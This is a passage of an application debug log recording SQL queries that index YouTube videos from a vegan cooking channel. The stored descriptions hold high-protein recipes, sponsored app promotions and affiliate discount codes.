tbsp curry powder\n2 tbsp tomato paste\n1 tbsp fresh grated ginger\n4 garlic cloves, minced\n4 cups hot water / veggie broth\nSalt, pepper to taste\nOptional: Replace 1½ cups broth for 1 can coconut milk\nSpice Blend if you don’t have curry powder:\n1\u00A0tsp\u00A0chili powder\n1\u00A0tsp\u00A0cumin\n½\u00A0tsp\u00A0turmeric\n1½\u00A0tsp\u00A0garam masala\n1\u00A0tsp\u00A0cinnamon\n½\u00A0tsp\u00A0coriander\n\nPreheat a large skillet over medium heat. Warm ¼ cup water (or 1 tbsp oil) and sauté the ginger and garlic for 2 minutes, until softened and fragrant.\nStir in the tomato paste and curry powder and cook for another 2 to 3 minutes, allowing the tomato paste to darken slightly and the curry to infuse the tomato paste.\nStir in the rinsed yellow lentils and pour in the hot water/broth. Stir, cover and bring to a simmer on medium-high heat and cook for about 15 to 18 minutes, until the lentils are softened and cooked through and most of the water has been absorbed.\nServe over rice and garnish with cilantro if desired.\n\nMexican Rice 405 cal, 20g protein, serves 5\n1½ cups corn\n2 cans (or 20 to 25 oz) black beans\n3 cups cooked rice\n1 tbsp chili or chipotle powder\n1 cup salsa\n(Optional: lime juice, cilantro and avocado for serving)\n\nPreheat a large skillet over medium heat. Add corn and black beans and heat through until it’s steaming and hot, about 3 mins.\nAdd rice, chili powder, stir to combine frequently for 3 mins.\nStir in salsa, cook until everything is warmed through.\nRemove from heat, let (truncated) 20:31:07.644 [debug] QUERY OK source="sources" db=1.0ms idle=11.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.646 [debug] QUERY OK source="media_items" db=2.3ms idle=11.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-03-09 00:00:00Z], 1] 20:31:07.649 [debug] QUERY OK source="media_items" db=1.7ms queue=0.1ms idle=12.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this ‘What I Eat in a Day’ video I’m showing you a full day of eating as a vegan! Lots of easy high protein vegan meals, 4 healthy hacks you’ll love, PLUS some of my fave ways to cook tofu! I’m also excited to show you how I use #TrainestApp, a brand new nutrition tracking app that I’m using to help me reach my nutrition & weight loss goals! \n\nReach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\n#Trainest #TrainestApp #Sponsored\n\nLooking for more high-protein meal inspo? Watch this playlist next! 💪🏼 \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\n\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nBREAKFAST: Sweet Potato Toast w/ Avocado & Tofu Scramble 406 cal, 26g protein\nHow to make tofu scramble: \u00A0\u00A0\u00A0•\u00A0How\u00A0to\u00A0Cook\u00A0Tofu!\u00A0EASY\u00A0Tofu\u00A0Recipes\u00A0I\u00A0Eat\u00A0...\u00A0\u00A0\nAir fried sweet potato slices: 15 mins @ 425F\n\n\nLUNCH: Carrot fries, BBQ tofu pulled pork sandwich 680 cal, 25g protein \nCarrot fries: Sliced carrot sticks, 1 tbsp vegan Worcestershire, ½ tsp garlic powder, 1 tbsp nooch, air fry 18 mins @ 425F\n\n\nDINNER: Potato & Veggie Soup 559 cal, 25g protein\n3 large carrots, sliced into coins\n3 lbs potatoes, peeled and cubed\n1 medium sweet potato, peeled and cubed\n1 lb mushrooms, sliced\n8 cups veg broth\n½ tbsp smoked paprika\n1 tsp garlic powder\n1 tsp onion powder\nSalt and pepper\n\nAdd all ingredients to a pot, cover with lid, bring to a boil then reduce heat to medium, cook covered for 25 to 30 minutes until all root veggies are fork tender.\n\nSNACK: Crispy Shredded Tofu 130 cal 14g protein\n1 block extra firm tofu, padded dry\nAny spices you like! about 1 to 2 tbsp\n1 tbsp soy sauce and/or 1 tsp neutral oil\n\nShred the block of tofu using the large-hole side of a box grater and transfer to a mixing bowl. Add all remaining ingredients, stir well to combine and transfer to an air fryer basket (may have to do in 2 batches depending on size).\nAir fry for 18 to 22 minutes at 425F, flipping halfway, until golden and crispy!\nAlternatively, you can spread tofu on one large baking tray and bake for 40 to 42 minutes at 425F.\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat in a Day with MACROS! High Protein Vegan Meals + 4 Healthy Hacks", "b0724156-dedc-4e8a-adf7-cc2ef7be8f52", 1, [], false, "0bhuMlOqcOg", "https://www.youtube.com/watch?v=0bhuMlOqcOg", 212, "/downloads/downloads/alec/Steamy Vegan/2024-03-09 What I Eat in a Day with MACROS! High Protein Vegan Meals + 4 Healthy Hacks/What I Eat in a Day with MACROS! High Protein Vegan Meals + 4 Healthy Hacks [0bhuMlOqcOg].NA", false, false, false, 1, ~U[2024-03-09 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this ‘What I Eat in a Day’ video I’m showing you a full day of eating as a vegan! Lots of easy high protein vegan meals, 4 healthy hacks you’ll love, PLUS some of my fave ways to cook tofu! I’m also excited to show you how I use #TrainestApp, a brand new nutrition tracking app that I’m using to help me reach my nutrition & weight loss goals! \n\nReach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\n#Trainest #TrainestApp #Sponsored\n\nLooking for more high-protein meal inspo? Watch this playlist next! 💪🏼 \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\n\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nBREAKFAST: Sweet Potato Toast w/ Avocado & Tofu Scramble 406 cal, 26g protein\nHow to make tofu scramble: \u00A0\u00A0\u00A0•\u00A0How\u00A0to\u00A0Cook\u00A0Tofu!\u00A0EASY\u00A0Tofu\u00A0Recipes\u00A0I\u00A0Eat\u00A0...\u00A0\u00A0\nAir fried sweet potato slices: 15 mins @ 425F\n\n\nLUNCH: Carrot fries, BBQ tofu pulled pork sandwich 680 cal, 25g protein \nCarrot fries: Sliced carrot sticks, 1 tbsp vegan Worcestershire, ½ tsp garlic powder, 1 tbsp nooch, air fry 18 mins @ 425F\n\n\nDINNER: Potato & Veggie Soup 559 cal, 25g protein\n3 large carrots, sliced into coins\n3 lbs potatoes, peeled and cubed\n1 medium sweet potato, peeled and cubed\n1 lb mushrooms, sliced\n8 cups veg broth\n½ tbsp smoked paprika\n1 tsp garlic powder\n1 tsp onion powder\nSalt and pepper\n\nAdd all ingredients to a pot, cover with lid, bring to a boil then reduce heat to medium, cook covered for 25 to 30 minutes until all root veggies are fork tender.\n\nSNACK: Crispy Shredded Tofu 130 cal 14g protein\n1 block extra firm tofu, padded dry\nAny spices you like! about 1 to 2 tbsp\n1 tbsp soy sauce and/or 1 tsp neutral oil\n\nShred the block of tofu using the large-hole side of a box grater and transfer to a mixing bowl. Add all remaining ingredients, stir well to combine and transfer to an air fryer basket (may have to do in 2 batches depending on size).\nAir fry for 18 to 22 minutes at 425F, flipping halfway, until golden and crispy!\nAlternatively, you can spread tofu on one large baking tray and bake for 40 to 42 minutes at 425F.\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.c (truncated) 20:31:07.650 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=12.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.653 [debug] QUERY OK source="media_items" db=2.0ms idle=9.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-03-05 00:00:00Z], 1] 20:31:07.655 [debug] QUERY OK source="media_items" db=1.9ms idle=9.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video I'm showing you how to make 3 healthy dump and bake vegan casserole recipes that are gluten-free, high-protein and so delicious! Great for meal prep, easy to to make and made with whole food plant based ingredients.\n\nLooking for more high-protein meal inspo? Watch this playlist next! 💪🏼 \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nRECIPES\n\nBroccoli Chickpea Casserole – 669 cal, 29g protein, serves 5\n\n1 can coconut milk\n1½ cups water\n4 tbsp cornstarch \n⅓ cup nutritional yeast\n1 tsp garlic powder\n1 tsp onion powder\nSalt and pepper to taste\nHeaping ⅓ cup quinoa, rinsed\n18 oz broccoli florets\n⅓ cup green onions, chopped \n3 cups canned chickpeas, drained and rinsed\nHeaping ½ cup gluten-free bread crumbs\n\n9 x 13 casserole dish\n\n1. Preheat oven to 375F\n2. In a medium sized mixing bowl whisk together the coconut milk, water, cornstarch, nutritional yeast, garlic and onion powder, salt and pepper until its thick liquid with no chunks of cornstarch and spices remaining. \n3. Into the casserole dish add the broccoli florets, green onions and chickpeas, then pour the liquid over top. Then evenly sprinkle the quinoa on top and mix everything together.\n4. Bake uncovered for 20 minutes. Quickly and carefully remove from the oven and mix everything once more, as the quinoa likely will have settled to the bottom. Return to the oven and continue baking for 15 minutes more.\n5. After the 15 minutes is up, remove the dish from the oven once more, and sprinkle over the breadcrumbs on top in an even layer. Return to oven to bake for 10 minutes to allow the breadcrumbs to become golden.\n6. Once removed from oven (for the last time!) let stand for 10 minutes, then serve\n\nBaked ‘Fried’ Rice — 455 cal, 23g protein, serves 4\n1½ cups jasmine rice\n2 cups veg broth\n2 tbsp soy sauce\n2 tbsp mirin\n1 tbsp garlic powder\n¾ tsp Chinese 5 spice\n1½ cups frozen peas carrots\n1 cup frozen edamame\n1 batch tofu scramble\nBlack pepper to taste\nChopped green onion for garnish\n1 tsp roasted sesame oil, for serving (optional)\n\n9x13 casserole dish\n\n1. Preheat oven to 400F\n2. Mix together all ingredients in the casserole dish except the green onions and sesame oil. Press the rice underneath the liquid, cover with foil or lid and bake for 40 mins.\n3. Check rice for doneness, if al dente cover again and bake for 5 to 7 minutes more.\n4. Remove from oven, uncover and let stand for 5 minutes. Serve in bowls, garnish with sesame oil and chopped green onion and enjoy\n\n\nLENTIL SHEPHERD’S PIE — 555 cal, 29g protein, serves 5\nRecipe now on my. BLOG! ➡️ https://steamyvegan.com/lentil-shephe...\nI am slowly moving all my recipes from YouTube over to my blog -- thanks for your understanding! \n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "3 Healthy DUMP AND BAKE Vegan Casserole Recipes! (Gluten-Free)", "b9966534-0718-4add-8551-52d74b12ebc5", 1, [], false, "by8If7g4rtE", "https://www.youtube.com/watch?v=by8If7g4rtE", 213, "/downloads/downloads/alec/Steamy Vegan/2024-03-05 3 Healthy DUMP AND BAKE Vegan Casserole Recipes! (Gluten-Free)/3 Healthy DUMP AND BAKE Vegan Casserole Recipes! (Gluten-Free) [by8If7g4rtE].NA", false, false, false, 1, ~U[2024-03-05 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this video I'm showing you how to make 3 healthy dump and bake vegan casserole recipes that are gluten-free, high-protein and so delicious! Great for meal prep, easy to to make and made with whole food plant based ingredients.\n\nLooking for more high-protein meal inspo? Watch this playlist next! 💪🏼 \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nRECIPES\n\nBroccoli Chickpea Casserole – 669 cal, 29g protein, serves 5\n\n1 can coconut milk\n1½ cups water\n4 tbsp cornstarch \n⅓ cup nutritional yeast\n1 tsp garlic powder\n1 tsp onion powder\nSalt and pepper to taste\nHeaping ⅓ cup quinoa, rinsed\n18 oz broccoli florets\n⅓ cup green onions, chopped \n3 cups canned chickpeas, drained and rinsed\nHeaping ½ cup gluten-free bread crumbs\n\n9 x 13 casserole dish\n\n1. Preheat oven to 375F\n2. In a medium sized mixing bowl whisk together the coconut milk, water, cornstarch, nutritional yeast, garlic and onion powder, salt and pepper until its thick liquid with no chunks of cornstarch and spices remaining. \n3. Into the casserole dish add the broccoli florets, green onions and chickpeas, then pour the liquid over top. Then evenly sprinkle the quinoa on top and mix everything together.\n4. Bake uncovered for 20 minutes. Quickly and carefully remove from the oven and mix everything once more, as the quinoa likely will have settled to the bottom. Return to the oven and continue baking for 15 minutes more.\n5. After the 15 minutes is up, remove the dish from the oven once more, and sprinkle over the breadcrumbs on top in an even layer. Return to oven to bake for 10 minutes to allow the breadcrumbs to become golden.\n6. Once removed from oven (for the last time!) let stand for 10 minutes, then serve\n\nBaked ‘Fried’ Rice — 455 cal, 23g protein, serves 4\n1½ cups jasmine rice\n2 cups veg broth\n2 tbsp soy sauce\n2 tbsp mirin\n1 tbsp garlic powder\n¾ tsp Chinese 5 spice\n1½ cups frozen peas carrots\n1 cup frozen edamame\n1 batch tofu scramble\nBlack pepper to taste\nChopped green onion for garnish\n1 tsp roasted sesame oil, for serving (optional)\n\n9x13 casserole dish\n\n1. Preheat oven to 400F\n2. Mix together all ingredients in the casserole dish except the green onions and sesame oil. Press the rice underneath the liquid, cover with foil or lid and bake for 40 mins.\n3. Check rice for doneness, if al dente cover again and bake for 5 to 7 minutes more.\n4. Remove from oven, uncover and let stand for 5 minutes. Serve in bowls, garnish with sesame oil and chopped green onion and enjoy\n\n\nLENTIL SHEPHERD’S PIE — 555 cal, 29g protein, serves 5\nRecipe now on my. BLOG! ➡️ https://steamyvegan.com/lentil-shephe...\nI am slowly moving all my recipes from YouTube over to my blog -- thanks for your understanding! \n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nFIND ME IN OTHE (truncated) 20:31:07.656 [debug] QUERY OK source="sources" db=0.5ms idle=9.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.658 [debug] QUERY OK source="media_items" db=2.0ms idle=7.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-03-02 00:00:00Z], 1] 20:31:07.661 [debug] QUERY OK source="media_items" db=1.8ms idle=8.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this ‘What I Eat in a Day’ video I’m showing you a full day of eating as a vegan! Lots of easy vegan recipes, healthy meal inspiration that’s high-protein and gluten-free! I’m also excited to share my experience with #TrainestApp, a brand new nutrition tracking app that I’m using to help me reach my nutrition & weight loss goals! \n\nReach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestapp\u00A0\u00A0\n#Trainest #TrainestApp #sponsored \n\n\nLooking for more high-protein meal inspo? Watch this playlist next! 💪🏼 \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nGOOD PROTEIN: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30 \n(my link: https://goodprotein.ca?ref=Janelle)\n\n\n\nBREAKFAST — Protein Yogurt & Quinoa Bowl (565 cal, 31g protein)\n150g Almond yogurt (Silk)\n1 scoop Acai Berry protein powder (Good Protein)\n⅔ cup cooked quinoa1 tbsp Hemp seeds½ a Banana½ cup Frozen Berries\nLUNCH — ‘Fridge Cleaner’ Soup (355 cal, 22g protein)\n\nDINNER — Vegan Pad Thai (671 Cal, 37g protein)\n8 oz brown rice noodles\n1 small onion, sliced\n4 cloves garlic, minced\n2 green onions, white and green parts separated\n1 red bell pepper, sliced\n1 large carrot, cut into matchsticks (8 oz)\n200g extra firm tofu, cubed\n½ cup liquid JustEgg (optional)\n1 cup mung bean sprouts\nJuice of ½ lime, plus extra for serving\nFresh cilantro & peanuts for garnish\nSAUCE\n½ cup veg broth\n3 tbsp maple syrup\n2 tbsp soy sauce\n2 tbsp tamarind puree \n1 to 3 tbsp sriracha\nJuice of ½ lime\n1 tbsp cornstarch\n\n1. Prepare the sauce: In a small bowl, combine all the sauce ingredients. Feel free to adjust the ingredient amounts according to your desired taste. Set aside.\n2. Bring a medium pot of water to a boil and cook the noodles according to package directions; drain rinse and set aside.\n3. Meanwhile heat a large skillet or wok over medium-high heat. Add ¼ cup water (or 1 tbsp oil) and once hot add the tofu. Pan fry them, flipping about every 2 minutes until golden brown on all sides, about 10 minutes.Remove from pan and set aside.\n4. Add an additional ¼ water to the pan, along with the garlic, white parts of the green onion and the sliced onion. Sauté for 3 mins until translucent. Add bell pepper and carrot and sauté until tender, another 3 mins.\n5. OPTIONAL STEP: Move the veggies over slightly to one side and add ½ cup of liquid just egg and let it scramble for 1 to 2 minutes.\n6. Whisk the sauce ingredients once more to ensure the cornstarch isn’t settled at the bottom and pour over the veggies, simmer for 3 mins until the sauce begins to thicken.\n7. Add the noodles, tofu, bean sprouts, the green part of the green onions, and lime juice to the pan; stir until everything is evenly combined and warm. Divide between 2 or 3 bowls, garnish with extra lime juice, red chili flakes, cilantro, and peanuts and enjoy!\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat in a Day as a Vegan 🌱 Full Day of Eating & Tracking My Macros", "b5aa6b48-b1dc-4e84-b1ec-221d9e89e64f", 1, [], false, "_EKvivAGs2Q", "https://www.youtube.com/watch?v=_EKvivAGs2Q", 214, "/downloads/downloads/alec/Steamy Vegan/2024-03-02 What I Eat in a Day as a Vegan 🌱 Full Day of Eating & Tracking My Macros/What I Eat in a Day as a Vegan 🌱 Full Day of Eating & Tracking My Macros [_EKvivAGs2Q].NA", false, false, false, 1, ~U[2024-03-02 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this ‘What I Eat in a Day’ video I’m showing you a full day of eating as a vegan! Lots of easy vegan recipes, healthy meal inspiration that’s high-protein and gluten-free! I’m also excited to share my experience with #TrainestApp, a brand new nutrition tracking app that I’m using to help me reach my nutrition & weight loss goals! \n\nReach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestapp\u00A0\u00A0\n#Trainest #TrainestApp #sponsored \n\n\nLooking for more high-protein meal inspo? Watch this playlist next! 💪🏼 \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nGOOD PROTEIN: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30 \n(my link: https://goodprotein.ca?ref=Janelle)\n\n\n\nBREAKFAST — Protein Yogurt & Quinoa Bowl (565 cal, 31g protein)\n150g Almond yogurt (Silk)\n1 scoop Acai Berry protein powder (Good Protein)\n⅔ cup cooked quinoa1 tbsp Hemp seeds½ a Banana½ cup Frozen Berries\nLUNCH — ‘Fridge Cleaner’ Soup (355 cal, 22g protein)\n\nDINNER — Vegan Pad Thai (671 Cal, 37g protein)\n8 oz brown rice noodles\n1 small onion, sliced\n4 cloves garlic, minced\n2 green onions, white and green parts separated\n1 red bell pepper, sliced\n1 large carrot, cut into matchsticks (8 oz)\n200g extra firm tofu, cubed\n½ cup liquid JustEgg (optional)\n1 cup mung bean sprouts\nJuice of ½ lime, plus extra for serving\nFresh cilantro & peanuts for garnish\nSAUCE\n½ cup veg broth\n3 tbsp maple syrup\n2 tbsp soy sauce\n2 tbsp tamarind puree \n1 to 3 tbsp sriracha\nJuice of ½ lime\n1 tbsp cornstarch\n\n1. Prepare the sauce: In a small bowl, combine all the sauce ingredients. Feel free to adjust the ingredient amounts according to your desired taste. Set aside.\n2. Bring a medium pot of water to a boil and cook the noodles according to package directions; drain rinse and set aside.\n3. Meanwhile heat a large skillet or wok over medium-high heat. Add ¼ cup water (or 1 tbsp oil) and once hot add the tofu. Pan fry them, flipping about every 2 minutes until golden brown on all sides, about 10 minutes.Remove from pan and set aside.\n4. Add an additional ¼ water to the pan, along with the garlic, white parts of the green onion and the sliced onion. Sauté for 3 mins until translucent. Add bell pepper and carrot and sauté until tender, another 3 mins.\n5. OPTIONAL STEP: Move the veggies over slightly to one side and add ½ cup of liquid just egg and let it scramble for 1 to 2 minutes.\n6. Whisk the sauce ingredients once more to ensure the cornstarch isn’t settled at the bottom and pour over the veggies, simmer for 3 mins until the sauce begins to thicken.\n7. Add the noodles, tofu, bean sprouts, the green part of the green onions, and lime juice to the pan; stir until everything is evenly combined and warm. Divide between 2 or 3 bowls, garnish with extra lime juice, red chili flakes, cilantro, and peanuts and enjoy!\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00 (truncated) 20:31:07.662 [debug] QUERY OK source="sources" db=0.7ms idle=8.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.664 [debug] QUERY OK source="media_items" db=2.3ms idle=6.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-02-28 00:00:00Z], 1] 20:31:07.667 [debug] QUERY OK source="media_items" db=2.0ms idle=8.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, 